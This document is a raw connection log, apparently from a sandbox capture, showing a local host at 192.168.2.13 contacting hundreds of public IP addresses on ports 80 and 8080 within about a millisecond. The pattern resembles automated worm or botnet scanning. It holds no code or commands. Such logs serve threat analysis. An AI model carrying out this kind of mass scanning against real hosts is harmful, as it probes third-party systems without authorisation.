Jan 26, 2025 01:43:29.669265032 CET	47562	80	192.168.2.13	95.26.98.137
Jan 26, 2025 01:43:29.669265985 CET	80	47562	95.24.53.87	192.168.2.13
Jan 26, 2025 01:43:29.669269085 CET	47566	8080	192.168.2.13	85.138.143.210
Jan 26, 2025 01:43:29.669269085 CET	47566	8080	192.168.2.13	31.197.227.208
Jan 26, 2025 01:43:29.669270039 CET	47566	8080	192.168.2.13	31.25.106.188
Jan 26, 2025 01:43:29.669270039 CET	47562	80	192.168.2.13	95.248.12.82
Jan 26, 2025 01:43:29.669276953 CET	80	47562	95.206.219.190	192.168.2.13
Jan 26, 2025 01:43:29.669279099 CET	47562	80	192.168.2.13	95.72.68.249
Jan 26, 2025 01:43:29.669281006 CET	47566	8080	192.168.2.13	94.179.2.125
Jan 26, 2025 01:43:29.669286013 CET	80	47562	95.48.58.95	192.168.2.13
Jan 26, 2025 01:43:29.669286966 CET	47566	8080	192.168.2.13	85.253.121.179
Jan 26, 2025 01:43:29.669292927 CET	47566	8080	192.168.2.13	95.67.107.97
Jan 26, 2025 01:43:29.669296026 CET	80	47562	95.192.131.94	192.168.2.13
Jan 26, 2025 01:43:29.669301033 CET	47562	80	192.168.2.13	95.24.53.87
Jan 26, 2025 01:43:29.669305086 CET	80	47562	95.29.233.228	192.168.2.13
Jan 26, 2025 01:43:29.669307947 CET	47562	80	192.168.2.13	95.206.219.190
Jan 26, 2025 01:43:29.669315100 CET	80	47562	95.135.9.203	192.168.2.13
Jan 26, 2025 01:43:29.669320107 CET	80	47562	95.100.236.194	192.168.2.13
Jan 26, 2025 01:43:29.669323921 CET	80	47562	95.146.224.185	192.168.2.13
Jan 26, 2025 01:43:29.669332981 CET	80	47562	95.0.135.121	192.168.2.13
Jan 26, 2025 01:43:29.669342041 CET	80	47562	95.99.51.140	192.168.2.13
Jan 26, 2025 01:43:29.669342995 CET	47562	80	192.168.2.13	95.48.58.95
Jan 26, 2025 01:43:29.669348955 CET	47562	80	192.168.2.13	95.192.131.94
Jan 26, 2025 01:43:29.669353008 CET	47562	80	192.168.2.13	95.29.233.228
Jan 26, 2025 01:43:29.669353008 CET	80	47562	95.234.201.85	192.168.2.13
Jan 26, 2025 01:43:29.669362068 CET	80	47562	95.52.16.78	192.168.2.13
Jan 26, 2025 01:43:29.669363976 CET	47562	80	192.168.2.13	95.135.9.203
Jan 26, 2025 01:43:29.669363976 CET	47562	80	192.168.2.13	95.100.236.194
Jan 26, 2025 01:43:29.669368029 CET	47562	80	192.168.2.13	95.99.51.140
Jan 26, 2025 01:43:29.669369936 CET	47562	80	192.168.2.13	95.146.224.185
Jan 26, 2025 01:43:29.669370890 CET	80	47562	95.102.86.56	192.168.2.13
Jan 26, 2025 01:43:29.669380903 CET	80	47562	95.230.186.198	192.168.2.13
Jan 26, 2025 01:43:29.669389009 CET	80	47562	95.156.183.245	192.168.2.13
Jan 26, 2025 01:43:29.669397116 CET	80	47562	95.108.183.50	192.168.2.13
Jan 26, 2025 01:43:29.669404984 CET	80	47562	95.152.159.47	192.168.2.13
Jan 26, 2025 01:43:29.669414997 CET	80	47562	95.205.20.148	192.168.2.13
Jan 26, 2025 01:43:29.669415951 CET	47562	80	192.168.2.13	95.52.16.78
Jan 26, 2025 01:43:29.669420004 CET	47562	80	192.168.2.13	95.0.135.121
Jan 26, 2025 01:43:29.669421911 CET	47562	80	192.168.2.13	95.102.86.56
Jan 26, 2025 01:43:29.669421911 CET	47562	80	192.168.2.13	95.230.186.198
Jan 26, 2025 01:43:29.669433117 CET	47562	80	192.168.2.13	95.234.201.85
Jan 26, 2025 01:43:29.669434071 CET	47562	80	192.168.2.13	95.205.20.148
Jan 26, 2025 01:43:29.669433117 CET	47562	80	192.168.2.13	95.152.159.47
Jan 26, 2025 01:43:29.669538975 CET	47562	80	192.168.2.13	95.156.183.245
Jan 26, 2025 01:43:29.669542074 CET	47562	80	192.168.2.13	95.108.183.50
Jan 26, 2025 01:43:29.669606924 CET	47566	8080	192.168.2.13	62.216.25.134
Jan 26, 2025 01:43:29.669609070 CET	47566	8080	192.168.2.13	95.227.144.28
Jan 26, 2025 01:43:29.669610023 CET	47566	8080	192.168.2.13	62.97.241.71
Jan 26, 2025 01:43:29.669610023 CET	47566	8080	192.168.2.13	62.9.248.233
Jan 26, 2025 01:43:29.669610023 CET	47566	8080	192.168.2.13	85.86.237.191
Jan 26, 2025 01:43:29.669612885 CET	47566	8080	192.168.2.13	31.53.168.36
Jan 26, 2025 01:43:29.669614077 CET	80	47562	95.91.65.111	192.168.2.13
Jan 26, 2025 01:43:29.669619083 CET	47566	8080	192.168.2.13	94.115.150.82
Jan 26, 2025 01:43:29.669619083 CET	47566	8080	192.168.2.13	31.248.168.178
Jan 26, 2025 01:43:29.669621944 CET	47566	8080	192.168.2.13	31.236.173.117
Jan 26, 2025 01:43:29.669621944 CET	47566	8080	192.168.2.13	31.112.211.50
Jan 26, 2025 01:43:29.669624090 CET	80	47562	95.192.161.253	192.168.2.13
Jan 26, 2025 01:43:29.669625998 CET	47566	8080	192.168.2.13	62.65.35.88
Jan 26, 2025 01:43:29.669625998 CET	47566	8080	192.168.2.13	94.12.192.187
Jan 26, 2025 01:43:29.669632912 CET	80	47562	95.88.190.166	192.168.2.13
Jan 26, 2025 01:43:29.669639111 CET	47566	8080	192.168.2.13	95.43.250.187
Jan 26, 2025 01:43:29.669642925 CET	80	47562	95.69.54.205	192.168.2.13
Jan 26, 2025 01:43:29.669651985 CET	80	47562	95.124.121.103	192.168.2.13
Jan 26, 2025 01:43:29.669653893 CET	47562	80	192.168.2.13	95.192.161.253
Jan 26, 2025 01:43:29.669653893 CET	47562	80	192.168.2.13	95.88.190.166
Jan 26, 2025 01:43:29.669661999 CET	80	47562	95.91.92.144	192.168.2.13
Jan 26, 2025 01:43:29.669670105 CET	80	47562	95.137.4.152	192.168.2.13
Jan 26, 2025 01:43:29.669678926 CET	80	47562	95.114.45.33	192.168.2.13
Jan 26, 2025 01:43:29.669681072 CET	47562	80	192.168.2.13	95.91.65.111
Jan 26, 2025 01:43:29.669682026 CET	47562	80	192.168.2.13	95.124.121.103
Jan 26, 2025 01:43:29.669686079 CET	47562	80	192.168.2.13	95.91.92.144
Jan 26, 2025 01:43:29.669688940 CET	80	47562	95.255.31.254	192.168.2.13
Jan 26, 2025 01:43:29.669688940 CET	47562	80	192.168.2.13	95.69.54.205
Jan 26, 2025 01:43:29.669698954 CET	80	47562	95.133.209.227	192.168.2.13
Jan 26, 2025 01:43:29.669707060 CET	80	47562	95.21.157.0	192.168.2.13
Jan 26, 2025 01:43:29.669709921 CET	47562	80	192.168.2.13	95.137.4.152
Jan 26, 2025 01:43:29.669709921 CET	47562	80	192.168.2.13	95.114.45.33
Jan 26, 2025 01:43:29.669715881 CET	47562	80	192.168.2.13	95.255.31.254
Jan 26, 2025 01:43:29.669723034 CET	80	47562	95.103.245.236	192.168.2.13
Jan 26, 2025 01:43:29.669732094 CET	80	47562	95.217.180.253	192.168.2.13
Jan 26, 2025 01:43:29.669732094 CET	47562	80	192.168.2.13	95.133.209.227
Jan 26, 2025 01:43:29.669732094 CET	47562	80	192.168.2.13	95.21.157.0
Jan 26, 2025 01:43:29.669734001 CET	47566	8080	192.168.2.13	31.241.190.179
Jan 26, 2025 01:43:29.669740915 CET	80	47562	95.168.4.212	192.168.2.13
Jan 26, 2025 01:43:29.669750929 CET	80	47562	95.40.136.67	192.168.2.13
Jan 26, 2025 01:43:29.669759989 CET	80	47562	95.34.45.233	192.168.2.13
Jan 26, 2025 01:43:29.669768095 CET	80	47562	95.161.115.91	192.168.2.13
Jan 26, 2025 01:43:29.669776917 CET	80	47562	95.75.151.188	192.168.2.13
Jan 26, 2025 01:43:29.669785023 CET	80	47562	95.47.224.193	192.168.2.13
Jan 26, 2025 01:43:29.669794083 CET	80	47562	95.177.253.80	192.168.2.13
Jan 26, 2025 01:43:29.669794083 CET	47566	8080	192.168.2.13	31.127.75.205
Jan 26, 2025 01:43:29.669802904 CET	80	47562	95.48.32.17	192.168.2.13
Jan 26, 2025 01:43:29.669811010 CET	47566	8080	192.168.2.13	31.116.72.245
Jan 26, 2025 01:43:29.669811010 CET	80	47562	95.38.212.25	192.168.2.13
Jan 26, 2025 01:43:29.669814110 CET	47562	80	192.168.2.13	95.168.4.212
Jan 26, 2025 01:43:29.669814110 CET	47562	80	192.168.2.13	95.161.115.91
Jan 26, 2025 01:43:29.669814110 CET	47566	8080	192.168.2.13	31.55.29.232
Jan 26, 2025 01:43:29.669816017 CET	47566	8080	192.168.2.13	95.80.104.217
Jan 26, 2025 01:43:29.669816971 CET	47562	80	192.168.2.13	95.103.245.236
Jan 26, 2025 01:43:29.669816971 CET	47562	80	192.168.2.13	95.217.180.253
Jan 26, 2025 01:43:29.669816971 CET	47566	8080	192.168.2.13	85.161.32.183
Jan 26, 2025 01:43:29.669816971 CET	47562	80	192.168.2.13	95.34.45.233
Jan 26, 2025 01:43:29.669816971 CET	47566	8080	192.168.2.13	85.184.82.240
Jan 26, 2025 01:43:29.669821024 CET	47566	8080	192.168.2.13	62.73.137.240
Jan 26, 2025 01:43:29.669816971 CET	47566	8080	192.168.2.13	95.108.1.10
Jan 26, 2025 01:43:29.669821978 CET	80	47562	95.67.13.251	192.168.2.13
Jan 26, 2025 01:43:29.669816971 CET	47566	8080	192.168.2.13	31.174.141.169
Jan 26, 2025 01:43:29.669822931 CET	47562	80	192.168.2.13	95.47.224.193
Jan 26, 2025 01:43:29.669822931 CET	47566	8080	192.168.2.13	62.169.152.13
Jan 26, 2025 01:43:29.669823885 CET	47566	8080	192.168.2.13	94.172.163.222
Jan 26, 2025 01:43:29.669823885 CET	47562	80	192.168.2.13	95.40.136.67
Jan 26, 2025 01:43:29.669831038 CET	80	47562	95.37.177.156	192.168.2.13
Jan 26, 2025 01:43:29.669832945 CET	47562	80	192.168.2.13	95.75.151.188
Jan 26, 2025 01:43:29.669836044 CET	80	47562	95.111.127.45	192.168.2.13
Jan 26, 2025 01:43:29.669836998 CET	47566	8080	192.168.2.13	95.235.9.144
Jan 26, 2025 01:43:29.669840097 CET	47566	8080	192.168.2.13	62.41.71.217
Jan 26, 2025 01:43:29.669840097 CET	47562	80	192.168.2.13	95.177.253.80
Jan 26, 2025 01:43:29.669841051 CET	47566	8080	192.168.2.13	85.219.118.171
Jan 26, 2025 01:43:29.669846058 CET	80	47562	95.48.55.222	192.168.2.13
Jan 26, 2025 01:43:29.669850111 CET	47562	80	192.168.2.13	95.38.212.25
Jan 26, 2025 01:43:29.669852972 CET	47562	80	192.168.2.13	95.37.177.156
Jan 26, 2025 01:43:29.669855118 CET	80	47562	95.123.127.118	192.168.2.13
Jan 26, 2025 01:43:29.669857979 CET	47562	80	192.168.2.13	95.111.127.45
Jan 26, 2025 01:43:29.669862032 CET	47562	80	192.168.2.13	95.48.32.17
Jan 26, 2025 01:43:29.669862032 CET	47562	80	192.168.2.13	95.67.13.251
Jan 26, 2025 01:43:29.669864893 CET	80	47562	95.19.56.47	192.168.2.13
Jan 26, 2025 01:43:29.669869900 CET	47566	8080	192.168.2.13	85.213.57.216
Jan 26, 2025 01:43:29.669869900 CET	47566	8080	192.168.2.13	85.103.102.124
Jan 26, 2025 01:43:29.669882059 CET	47562	80	192.168.2.13	95.48.55.222
Jan 26, 2025 01:43:29.669882059 CET	47566	8080	192.168.2.13	31.110.82.196
Jan 26, 2025 01:43:29.669884920 CET	47562	80	192.168.2.13	95.123.127.118
Jan 26, 2025 01:43:29.669895887 CET	47566	8080	192.168.2.13	85.238.133.178
Jan 26, 2025 01:43:29.669897079 CET	47562	80	192.168.2.13	95.19.56.47
Jan 26, 2025 01:43:29.669897079 CET	47566	8080	192.168.2.13	94.89.135.156
Jan 26, 2025 01:43:29.669898987 CET	47566	8080	192.168.2.13	95.16.167.14
Jan 26, 2025 01:43:29.669898987 CET	47566	8080	192.168.2.13	94.176.93.237
Jan 26, 2025 01:43:29.669910908 CET	47566	8080	192.168.2.13	95.169.33.121
Jan 26, 2025 01:43:29.669910908 CET	47566	8080	192.168.2.13	62.56.59.188
Jan 26, 2025 01:43:29.669934034 CET	47566	8080	192.168.2.13	62.32.105.238
Jan 26, 2025 01:43:29.669934034 CET	47566	8080	192.168.2.13	62.210.112.164
Jan 26, 2025 01:43:29.669936895 CET	47566	8080	192.168.2.13	94.37.234.241
Jan 26, 2025 01:43:29.669943094 CET	47566	8080	192.168.2.13	95.230.102.59
Jan 26, 2025 01:43:29.669955015 CET	47566	8080	192.168.2.13	31.143.55.236
Jan 26, 2025 01:43:29.669984102 CET	47566	8080	192.168.2.13	62.126.169.79
Jan 26, 2025 01:43:29.670017004 CET	47566	8080	192.168.2.13	94.130.0.93
Jan 26, 2025 01:43:29.670022011 CET	47566	8080	192.168.2.13	85.225.173.251
Jan 26, 2025 01:43:29.670025110 CET	47566	8080	192.168.2.13	62.116.250.165
Jan 26, 2025 01:43:29.670027971 CET	47566	8080	192.168.2.13	94.58.8.143
Jan 26, 2025 01:43:29.670032024 CET	47566	8080	192.168.2.13	62.31.95.19
Jan 26, 2025 01:43:29.670034885 CET	47566	8080	192.168.2.13	62.44.188.138
Jan 26, 2025 01:43:29.670034885 CET	47566	8080	192.168.2.13	94.118.77.24
Jan 26, 2025 01:43:29.670034885 CET	47566	8080	192.168.2.13	31.211.252.42
Jan 26, 2025 01:43:29.670042992 CET	80	47562	95.120.134.77	192.168.2.13
Jan 26, 2025 01:43:29.670053005 CET	80	47562	95.180.168.54	192.168.2.13
Jan 26, 2025 01:43:29.670057058 CET	47566	8080	192.168.2.13	94.61.86.47
Jan 26, 2025 01:43:29.670057058 CET	47566	8080	192.168.2.13	85.12.110.27
Jan 26, 2025 01:43:29.670062065 CET	80	47562	95.171.206.124	192.168.2.13
Jan 26, 2025 01:43:29.670069933 CET	47566	8080	192.168.2.13	95.85.194.30
Jan 26, 2025 01:43:29.670070887 CET	80	47562	95.146.243.156	192.168.2.13
Jan 26, 2025 01:43:29.670078993 CET	47562	80	192.168.2.13	95.120.134.77
Jan 26, 2025 01:43:29.670079947 CET	80	47562	95.54.85.104	192.168.2.13
Jan 26, 2025 01:43:29.670084000 CET	47562	80	192.168.2.13	95.180.168.54
Jan 26, 2025 01:43:29.670089960 CET	80	47562	95.132.78.242	192.168.2.13
Jan 26, 2025 01:43:29.670089960 CET	47562	80	192.168.2.13	95.171.206.124
Jan 26, 2025 01:43:29.670097113 CET	47562	80	192.168.2.13	95.146.243.156
Jan 26, 2025 01:43:29.670099020 CET	80	47562	95.162.187.148	192.168.2.13
Jan 26, 2025 01:43:29.670106888 CET	47566	8080	192.168.2.13	31.225.41.83
Jan 26, 2025 01:43:29.670108080 CET	80	47562	95.156.65.183	192.168.2.13
Jan 26, 2025 01:43:29.670108080 CET	47562	80	192.168.2.13	95.54.85.104
Jan 26, 2025 01:43:29.670115948 CET	47562	80	192.168.2.13	95.132.78.242
Jan 26, 2025 01:43:29.670118093 CET	80	47562	95.13.112.234	192.168.2.13
Jan 26, 2025 01:43:29.670121908 CET	47566	8080	192.168.2.13	85.126.158.253
Jan 26, 2025 01:43:29.670126915 CET	47566	8080	192.168.2.13	94.63.208.148
Jan 26, 2025 01:43:29.670128107 CET	80	47562	95.108.160.90	192.168.2.13
Jan 26, 2025 01:43:29.670129061 CET	47566	8080	192.168.2.13	31.1.128.141
Jan 26, 2025 01:43:29.670130014 CET	47562	80	192.168.2.13	95.162.187.148
Jan 26, 2025 01:43:29.670137882 CET	47566	8080	192.168.2.13	94.184.0.89
Jan 26, 2025 01:43:29.670140028 CET	47562	80	192.168.2.13	95.13.112.234
Jan 26, 2025 01:43:29.670146942 CET	80	47562	95.78.170.9	192.168.2.13
Jan 26, 2025 01:43:29.670156002 CET	47566	8080	192.168.2.13	31.210.219.162
Jan 26, 2025 01:43:29.670156956 CET	80	47562	95.127.219.12	192.168.2.13
Jan 26, 2025 01:43:29.670157909 CET	47562	80	192.168.2.13	95.108.160.90
Jan 26, 2025 01:43:29.670157909 CET	47566	8080	192.168.2.13	85.149.48.44
Jan 26, 2025 01:43:29.670161963 CET	47566	8080	192.168.2.13	85.197.110.74
Jan 26, 2025 01:43:29.670166016 CET	47562	80	192.168.2.13	95.156.65.183
Jan 26, 2025 01:43:29.670166969 CET	80	47562	95.190.121.58	192.168.2.13
Jan 26, 2025 01:43:29.670176983 CET	80	47562	95.207.87.239	192.168.2.13
Jan 26, 2025 01:43:29.670185089 CET	80	47562	95.172.130.157	192.168.2.13
Jan 26, 2025 01:43:29.670193911 CET	80	47562	95.75.127.129	192.168.2.13
Jan 26, 2025 01:43:29.670202971 CET	80	47562	95.108.162.157	192.168.2.13
Jan 26, 2025 01:43:29.670211077 CET	80	47562	95.71.238.81	192.168.2.13
Jan 26, 2025 01:43:29.670218945 CET	80	47562	95.80.67.70	192.168.2.13
Jan 26, 2025 01:43:29.670222998 CET	47562	80	192.168.2.13	95.78.170.9
Jan 26, 2025 01:43:29.670228958 CET	80	47562	95.54.132.164	192.168.2.13
Jan 26, 2025 01:43:29.670231104 CET	47562	80	192.168.2.13	95.75.127.129
Jan 26, 2025 01:43:29.670232058 CET	47562	80	192.168.2.13	95.207.87.239
Jan 26, 2025 01:43:29.670237064 CET	47566	8080	192.168.2.13	62.211.76.69
Jan 26, 2025 01:43:29.670238018 CET	47566	8080	192.168.2.13	95.82.180.121
Jan 26, 2025 01:43:29.670237064 CET	47566	8080	192.168.2.13	95.243.87.15
Jan 26, 2025 01:43:29.670238972 CET	80	47562	95.50.24.243	192.168.2.13
Jan 26, 2025 01:43:29.670238018 CET	47562	80	192.168.2.13	95.127.219.12
Jan 26, 2025 01:43:29.670238018 CET	47562	80	192.168.2.13	95.190.121.58
Jan 26, 2025 01:43:29.670248985 CET	80	47562	95.184.198.146	192.168.2.13
Jan 26, 2025 01:43:29.670248985 CET	47566	8080	192.168.2.13	31.101.183.162
Jan 26, 2025 01:43:29.670248985 CET	47562	80	192.168.2.13	95.172.130.157
Jan 26, 2025 01:43:29.670248985 CET	47566	8080	192.168.2.13	95.148.60.115
Jan 26, 2025 01:43:29.670248985 CET	47566	8080	192.168.2.13	95.80.216.205
Jan 26, 2025 01:43:29.670248985 CET	47562	80	192.168.2.13	95.108.162.157
Jan 26, 2025 01:43:29.670250893 CET	47566	8080	192.168.2.13	85.253.168.163
Jan 26, 2025 01:43:29.670248985 CET	47562	80	192.168.2.13	95.71.238.81
Jan 26, 2025 01:43:29.670250893 CET	47566	8080	192.168.2.13	94.233.18.170
Jan 26, 2025 01:43:29.670250893 CET	47566	8080	192.168.2.13	95.54.225.71
Jan 26, 2025 01:43:29.670252085 CET	47566	8080	192.168.2.13	85.172.161.202
Jan 26, 2025 01:43:29.670253038 CET	47566	8080	192.168.2.13	85.126.235.217
Jan 26, 2025 01:43:29.670252085 CET	47566	8080	192.168.2.13	62.37.112.217
Jan 26, 2025 01:43:29.670253038 CET	47566	8080	192.168.2.13	31.218.241.74
Jan 26, 2025 01:43:29.670253992 CET	47566	8080	192.168.2.13	85.122.106.55
Jan 26, 2025 01:43:29.670258999 CET	80	47562	95.152.204.44	192.168.2.13
Jan 26, 2025 01:43:29.670259953 CET	47562	80	192.168.2.13	95.54.132.164
Jan 26, 2025 01:43:29.670267105 CET	47566	8080	192.168.2.13	62.251.99.184
Jan 26, 2025 01:43:29.670269966 CET	80	47562	95.127.98.132	192.168.2.13
Jan 26, 2025 01:43:29.670277119 CET	47562	80	192.168.2.13	95.50.24.243
Jan 26, 2025 01:43:29.670279026 CET	80	47562	95.83.34.203	192.168.2.13
Jan 26, 2025 01:43:29.670281887 CET	47566	8080	192.168.2.13	94.50.2.39
Jan 26, 2025 01:43:29.670285940 CET	47566	8080	192.168.2.13	95.206.253.197
Jan 26, 2025 01:43:29.670285940 CET	47562	80	192.168.2.13	95.152.204.44
Jan 26, 2025 01:43:29.670286894 CET	47562	80	192.168.2.13	95.80.67.70
Jan 26, 2025 01:43:29.670286894 CET	47562	80	192.168.2.13	95.184.198.146
Jan 26, 2025 01:43:29.670289040 CET	80	47562	95.101.62.226	192.168.2.13
Jan 26, 2025 01:43:29.670298100 CET	80	47562	95.144.223.209	192.168.2.13
Jan 26, 2025 01:43:29.670300007 CET	47566	8080	192.168.2.13	31.100.74.198
Jan 26, 2025 01:43:29.670300961 CET	47566	8080	192.168.2.13	62.249.79.242
Jan 26, 2025 01:43:29.670300961 CET	47562	80	192.168.2.13	95.127.98.132
Jan 26, 2025 01:43:29.670306921 CET	80	47562	95.52.19.210	192.168.2.13
Jan 26, 2025 01:43:29.670315027 CET	47566	8080	192.168.2.13	85.45.246.49
Jan 26, 2025 01:43:29.670315027 CET	47562	80	192.168.2.13	95.83.34.203
Jan 26, 2025 01:43:29.670315027 CET	47562	80	192.168.2.13	95.101.62.226
Jan 26, 2025 01:43:29.670320988 CET	47562	80	192.168.2.13	95.144.223.209
Jan 26, 2025 01:43:29.670322895 CET	80	47562	95.207.244.27	192.168.2.13
Jan 26, 2025 01:43:29.670330048 CET	47562	80	192.168.2.13	95.52.19.210
Jan 26, 2025 01:43:29.670331955 CET	80	47562	95.45.239.207	192.168.2.13
Jan 26, 2025 01:43:29.670341969 CET	80	47562	95.250.101.124	192.168.2.13
Jan 26, 2025 01:43:29.670351028 CET	80	47562	95.100.81.167	192.168.2.13
Jan 26, 2025 01:43:29.670360088 CET	80	47562	95.4.185.241	192.168.2.13
Jan 26, 2025 01:43:29.670368910 CET	80	47562	95.20.96.197	192.168.2.13
Jan 26, 2025 01:43:29.670377016 CET	80	47562	95.20.198.185	192.168.2.13
Jan 26, 2025 01:43:29.670387030 CET	80	47562	95.49.157.87	192.168.2.13
Jan 26, 2025 01:43:29.670394897 CET	80	47562	95.43.168.99	192.168.2.13
Jan 26, 2025 01:43:29.670407057 CET	47566	8080	192.168.2.13	85.152.19.232
Jan 26, 2025 01:43:29.670409918 CET	47566	8080	192.168.2.13	31.24.253.46
Jan 26, 2025 01:43:29.670411110 CET	47566	8080	192.168.2.13	94.129.158.43
Jan 26, 2025 01:43:29.670411110 CET	47566	8080	192.168.2.13	94.242.194.202
Jan 26, 2025 01:43:29.670409918 CET	47566	8080	192.168.2.13	31.34.61.8
Jan 26, 2025 01:43:29.670412064 CET	47562	80	192.168.2.13	95.207.244.27
Jan 26, 2025 01:43:29.670413017 CET	47566	8080	192.168.2.13	62.180.123.220
Jan 26, 2025 01:43:29.670412064 CET	47562	80	192.168.2.13	95.45.239.207
Jan 26, 2025 01:43:29.670413017 CET	47562	80	192.168.2.13	95.4.185.241
Jan 26, 2025 01:43:29.670412064 CET	47562	80	192.168.2.13	95.250.101.124
Jan 26, 2025 01:43:29.670412064 CET	47566	8080	192.168.2.13	62.161.210.183
Jan 26, 2025 01:43:29.670413017 CET	47566	8080	192.168.2.13	31.218.165.52
Jan 26, 2025 01:43:29.670422077 CET	47566	8080	192.168.2.13	85.209.123.163
Jan 26, 2025 01:43:29.670422077 CET	47566	8080	192.168.2.13	95.64.107.192
Jan 26, 2025 01:43:29.670423031 CET	47562	80	192.168.2.13	95.100.81.167
Jan 26, 2025 01:43:29.670423031 CET	47562	80	192.168.2.13	95.49.157.87
Jan 26, 2025 01:43:29.670427084 CET	47566	8080	192.168.2.13	31.97.26.7
Jan 26, 2025 01:43:29.670427084 CET	47566	8080	192.168.2.13	62.222.0.174
Jan 26, 2025 01:43:29.670427084 CET	47566	8080	192.168.2.13	94.137.162.68
Jan 26, 2025 01:43:29.670428038 CET	47566	8080	192.168.2.13	85.114.0.93
Jan 26, 2025 01:43:29.670427084 CET	47566	8080	192.168.2.13	94.181.133.171
Jan 26, 2025 01:43:29.670428038 CET	47566	8080	192.168.2.13	62.223.225.48
Jan 26, 2025 01:43:29.670433998 CET	47566	8080	192.168.2.13	31.45.27.120
Jan 26, 2025 01:43:29.670438051 CET	47566	8080	192.168.2.13	85.203.174.134
Jan 26, 2025 01:43:29.670440912 CET	47566	8080	192.168.2.13	62.245.49.65
Jan 26, 2025 01:43:29.670443058 CET	47562	80	192.168.2.13	95.20.198.185
Jan 26, 2025 01:43:29.670443058 CET	47562	80	192.168.2.13	95.43.168.99
Jan 26, 2025 01:43:29.670443058 CET	47566	8080	192.168.2.13	85.149.247.95
Jan 26, 2025 01:43:29.670443058 CET	47566	8080	192.168.2.13	85.106.20.47
Jan 26, 2025 01:43:29.670459032 CET	47566	8080	192.168.2.13	94.164.7.232
Jan 26, 2025 01:43:29.670461893 CET	47562	80	192.168.2.13	95.20.96.197
Jan 26, 2025 01:43:29.670461893 CET	47566	8080	192.168.2.13	31.222.195.206
Jan 26, 2025 01:43:29.670461893 CET	47566	8080	192.168.2.13	62.57.130.83
Jan 26, 2025 01:43:29.670461893 CET	47566	8080	192.168.2.13	85.72.102.231
Jan 26, 2025 01:43:29.670473099 CET	47566	8080	192.168.2.13	62.192.87.58
Jan 26, 2025 01:43:29.670479059 CET	47566	8080	192.168.2.13	31.231.74.216
Jan 26, 2025 01:43:29.670488119 CET	47566	8080	192.168.2.13	31.201.75.177
Jan 26, 2025 01:43:29.670490980 CET	47566	8080	192.168.2.13	62.195.73.246
Jan 26, 2025 01:43:29.670504093 CET	47566	8080	192.168.2.13	62.164.173.45
Jan 26, 2025 01:43:29.670507908 CET	47566	8080	192.168.2.13	94.181.120.160
Jan 26, 2025 01:43:29.670556068 CET	47566	8080	192.168.2.13	85.115.227.90
Jan 26, 2025 01:43:29.670584917 CET	47566	8080	192.168.2.13	31.153.199.12
Jan 26, 2025 01:43:29.670584917 CET	47566	8080	192.168.2.13	95.145.114.36
Jan 26, 2025 01:43:29.670584917 CET	47566	8080	192.168.2.13	94.151.149.80
Jan 26, 2025 01:43:29.670586109 CET	47566	8080	192.168.2.13	95.95.121.160
Jan 26, 2025 01:43:29.670587063 CET	47566	8080	192.168.2.13	31.102.59.167
Jan 26, 2025 01:43:29.670586109 CET	47566	8080	192.168.2.13	95.124.15.222
Jan 26, 2025 01:43:29.670588017 CET	47566	8080	192.168.2.13	85.95.49.32
Jan 26, 2025 01:43:29.670588017 CET	47566	8080	192.168.2.13	85.96.127.48
Jan 26, 2025 01:43:29.670587063 CET	47566	8080	192.168.2.13	62.20.208.232
Jan 26, 2025 01:43:29.670588017 CET	47566	8080	192.168.2.13	62.111.47.186
Jan 26, 2025 01:43:29.670599937 CET	47566	8080	192.168.2.13	62.35.234.227
Jan 26, 2025 01:43:29.670602083 CET	47566	8080	192.168.2.13	95.193.85.148
Jan 26, 2025 01:43:29.670602083 CET	47566	8080	192.168.2.13	85.95.154.119
Jan 26, 2025 01:43:29.670602083 CET	47566	8080	192.168.2.13	95.152.151.175
Jan 26, 2025 01:43:29.670602083 CET	47566	8080	192.168.2.13	62.166.149.238
Jan 26, 2025 01:43:29.670605898 CET	47566	8080	192.168.2.13	94.123.197.85
Jan 26, 2025 01:43:29.670605898 CET	47566	8080	192.168.2.13	31.241.171.181
Jan 26, 2025 01:43:29.670605898 CET	47566	8080	192.168.2.13	95.190.61.25
Jan 26, 2025 01:43:29.670605898 CET	47566	8080	192.168.2.13	94.204.123.255
Jan 26, 2025 01:43:29.670615911 CET	47566	8080	192.168.2.13	62.194.2.0
Jan 26, 2025 01:43:29.670619011 CET	47566	8080	192.168.2.13	85.80.91.197
Jan 26, 2025 01:43:29.670619011 CET	47566	8080	192.168.2.13	95.138.137.29
Jan 26, 2025 01:43:29.670623064 CET	47566	8080	192.168.2.13	62.68.98.24
Jan 26, 2025 01:43:29.670624018 CET	47566	8080	192.168.2.13	94.226.17.4
Jan 26, 2025 01:43:29.670629025 CET	47566	8080	192.168.2.13	94.69.227.184
Jan 26, 2025 01:43:29.670629025 CET	47566	8080	192.168.2.13	85.14.229.61
Jan 26, 2025 01:43:29.670636892 CET	47566	8080	192.168.2.13	95.73.167.125
Jan 26, 2025 01:43:29.670638084 CET	47566	8080	192.168.2.13	85.204.209.62
Jan 26, 2025 01:43:29.670659065 CET	47566	8080	192.168.2.13	94.21.149.157
Jan 26, 2025 01:43:29.670660019 CET	47566	8080	192.168.2.13	31.248.200.165
Jan 26, 2025 01:43:29.670660019 CET	47566	8080	192.168.2.13	62.166.81.135
Jan 26, 2025 01:43:29.670660019 CET	47566	8080	192.168.2.13	94.1.203.199
Jan 26, 2025 01:43:29.670660019 CET	47566	8080	192.168.2.13	85.93.98.210
Jan 26, 2025 01:43:29.670660019 CET	47566	8080	192.168.2.13	95.214.235.226
Jan 26, 2025 01:43:29.670660019 CET	47566	8080	192.168.2.13	62.172.53.205
Jan 26, 2025 01:43:29.670660019 CET	47566	8080	192.168.2.13	62.142.130.200
Jan 26, 2025 01:43:29.670670986 CET	47566	8080	192.168.2.13	95.46.197.94
Jan 26, 2025 01:43:29.670670986 CET	47566	8080	192.168.2.13	94.206.63.98
Jan 26, 2025 01:43:29.670677900 CET	47566	8080	192.168.2.13	95.191.89.207
Jan 26, 2025 01:43:29.670686960 CET	47566	8080	192.168.2.13	85.223.206.157
Jan 26, 2025 01:43:29.670692921 CET	47566	8080	192.168.2.13	85.112.37.254
Jan 26, 2025 01:43:29.670705080 CET	47566	8080	192.168.2.13	85.210.72.137
Jan 26, 2025 01:43:29.670706987 CET	47566	8080	192.168.2.13	85.98.247.145
Jan 26, 2025 01:43:29.670717955 CET	47566	8080	192.168.2.13	31.2.165.135
Jan 26, 2025 01:43:29.670783043 CET	47566	8080	192.168.2.13	62.14.76.163
Jan 26, 2025 01:43:29.670783997 CET	47566	8080	192.168.2.13	85.58.191.155
Jan 26, 2025 01:43:29.670783043 CET	47566	8080	192.168.2.13	85.122.29.184
Jan 26, 2025 01:43:29.670783997 CET	47566	8080	192.168.2.13	95.177.164.118
